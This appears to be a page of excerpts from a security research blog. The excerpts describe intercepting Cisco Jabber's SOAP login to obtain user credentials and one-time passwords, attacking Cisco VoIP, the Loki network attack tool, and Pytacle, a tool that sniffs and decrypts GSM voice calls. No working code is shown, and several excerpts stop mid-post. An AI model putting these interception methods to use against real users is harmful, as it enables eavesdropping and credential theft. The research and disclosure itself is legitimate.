A Word on Cisco Jabber

Recently we took a look on Ciscos XMPP client, called Cisco Jabber. The Client is used in combination with Ciscos Unified Communication Server (CUCM) and Ciscos Unified Presence Server (CUPS). Only the latter one is used for XMPP communication.

We built a small lab setup with this components (CUCM, CUPS and the Win7 Client) and watched the client working.

First the client connects to a web service at https://CUPS:8443/EPASSoap/service/v80. We intercepted this connection with the Burp Proxy and had no problems getting into the SSL. Inside we found a SOAP request containing the users authentication credentials and a SOAP response with a onetime password, which is used for authentication in the XMPP stream later on. Phew, the users credentials _and_ unlimited onetime passwords _that_ easy? Thanks Cisco!

TROOPERS13 – The Badge Code

As a lot of people were asking for, here comes the code of your badge. All You need to customize your badge, is a micro controller programmer, like the Pickit (its around 30 to 40 euros) and the build environment, MPLAB which you can get for free. Then just download the code and implement your own super cool features. Let us know what you did, the best hacks will get into the TROOPERS hall of fame (-;

Paparazzi over IP

Almost every higher class DSLR on the market today features multiple and complex access technologies. To name a few, canons new flagship features IP connectivity wired via 802.3 as well as wireless via 802.11. All the big vendors are pushing these features to the market and advertise them with real time image transfer to the cloud. We have taken a look at the layer 2 and 3 implementations in the CamOS and the services running upon those, so here is what we found while examine the EOS 1D X:

All Your Calls Are Still Belong to Us – continued

Hi again and a happy new year 2013!

Lets continue were I left you the last time.

The CTL

The CTL is basically a binary TLV file with 1 byte type, followed by 2 bytes length and finally the data. But as this is far to easy, some special fields omit the length field and just place the data after the type (I guess those are fields with a fixed length). Here is an example CTL file:

All Your Calls Are Still Belong to Us – aka. Hacking Cisco high secure Enterprise VoIP Solution

Some of you may have heard the topic before, as we have spoken about on this years BlackHat EuropeTROOPERS12  and HES12, so this is nothing completely new, but as we’re done with responsible disclosure (finally (-; )  and all the stuff should be fixed, we’re going to publish the code that brought us there. I will split the topic into two blog posts, this one will wrap up the setup, used components and protocols, the next one [tbd. till EOY, hopefully] will get into detail on the tools and techniques we used to break the enterprise grade security.

Loki for Windows released

Today is a great day, its the day, Loki finally runs on all big operating systems. Im proud to announce the first Loki release for Windows!

There are a few things not working (yet / at all) under Windows. Those are:

  • The WLCCP Module – ive not yet managed to build and link against asleap on windows [but time may help (-; ]
  • TCP-MD5 Auth for BGP – This will never work, as Windows has no TCP-MD5 impl. in the kernel
  • The MPLS Module – Had some hassle here with WinPcap, may be working in the future

The most testing so far was done on Windows 7 were all the other functions work as they do on Linux and Mac.

Pytacle alpha1 released!

Finally it’s here!

It automates the task of sniffing GSM frames of the air, extracting the key exchange, feeding kraken with the key material and finally decode/decrypt the voice data. All You need is a USRP (or similar) to capture the GSM band and a kraken instance with the berlin tables (only about 2TB 😉 )

I’ve posted a preview before, take a look at the video to see the tool in action.
